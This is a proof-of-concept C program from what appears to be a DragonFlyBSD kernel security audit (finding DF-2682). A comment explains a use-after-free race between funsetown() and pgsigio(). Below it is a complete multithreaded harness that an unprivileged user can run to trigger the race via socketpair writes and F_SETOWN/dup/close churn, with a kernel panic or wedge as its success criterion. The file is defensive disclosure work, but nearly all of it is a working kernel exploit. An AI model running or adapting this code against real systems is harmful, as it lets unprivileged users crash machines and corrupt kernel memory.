DragonFlyBSD Kernel Audit
DF-2682 / sigio_uaf.c
← back to finding ↓ download raw
/*
 * DF-2682 PoC: sigio use-after-free race -- funsetown() vs pgsigio().
 *
 * funsetown() (sys/kern/kern_descrip.c:1245-1273) clears *sigiop under
 * sigio_token and then, with NO reference counting and no token held,
 * removes the sigio from the owner list and kfree()s it.  Lockless
 * readers -- sowakeup() at sys/kern/uipc_socket2.c:601-602:
 *
 *	if ((so->so_state & SS_ASYNC) && so->so_sigio != NULL)
 *		pgsigio(so->so_sigio, SIGIO, 0);
 *
 * load so->so_sigio without the token and dereference the raw pointer
 * inside pgsigio() (sys/kern/kern_sig.c:2639+: sigio->sio_pgid,
 * sigio->sio_pgrp / pgref(), sigio->sio_ucred, sigio->sio_proc ...).
 * If funsetown() wins the race the reader operates on freed memory:
 * kernel heap UAF, unprivileged.
 *
 * Harness: unprivileged process, three threads.
 *   W: write()s into socketpair end B  -> data arrives at A ->
 *      sowakeup(A) -> pgsigio(A->so_sigio)     [READER, hot loop]
 *   C: churns the sigio lifecycle on A:
 *        fcntl(A, F_SETOWN, pid)  -> fsetown() frees the OLD sigio
 *        dup(A); close(dup)       -> soclose() -> funsetown() frees
 *                                     the CURRENT sigio
 *      two free events per iteration against the reader storm.
 *
 * Success criterion: kernel panic (UAF/INVARIANTS) or wedge; run for
 * N seconds.  Whole loop is unprivileged.
 */
#include <sys/fcntl.h>
#include <sys/socket.h>
#include <errno.h>
#include <err.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static int sv[2];
static volatile unsigned long writes, churns;
static volatile int stop;

static void *
writer_thr(void *arg)
{
	char b = 'x';
	char sink[64];

	while (!stop) {
		if (write(sv[1], &b, 1) == 1)
			writes++;
		/* drain the O_ASYNC side so the socket buffer never fills
		 * (each arrival is another sowakeup()->pgsigio() pass) */
		recv(sv[0], sink, sizeof(sink), MSG_DONTWAIT);
	}
	return (NULL);
}

static void *
churn_thr(void *arg)
{
	int fd;

	while (!stop) {
		/* fsetown(): frees previous sigio, installs a fresh one */
		if (fcntl(sv[0], F_SETOWN, getpid()) < 0) {
			if (errno != ESRCH)
				perror("F_SETOWN");
		}
		/* close of a dup: soclose() -> funsetown() -> free */
		fd = dup(sv[0]);
		if (fd >= 0)
			close(fd);
		churns++;
	}
	return (NULL);
}

int
main(int argc, char **argv)
{
	pthread_t tw, tc;
	int secs = 60;
	int flags;

	if (argc > 1)
		secs = atoi(argv[1]);

	if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0)
		err(1, "socketpair");
	signal(SIGIO, SIG_IGN);
	if (fcntl(sv[0], F_SETOWN, getpid()) < 0)
		err(1, "F_SETOWN");
	flags = fcntl(sv[0], F_GETFL);
	if (fcntl(sv[0], F_SETFL, flags | O_ASYNC) < 0)
		err(1, "F_SETFL O_ASYNC");

	pthread_create(&tw, NULL, writer_thr, NULL);
	pthread_create(&tc, NULL, churn_thr, NULL);

	printf("DF-2682: uid=%d racing pgsigio() readers against "
	    "funsetown() frees for %ds...\n", getuid(), secs);
	fflush(stdout);

	sleep(secs);
	stop = 1;
	pthread_join(tw, NULL);
	pthread_join(tc, NULL);
	printf("survived: writes=%lu churns=%lu (no panic in %ds)\n",
	    writes, churns, secs);
	return (2);
}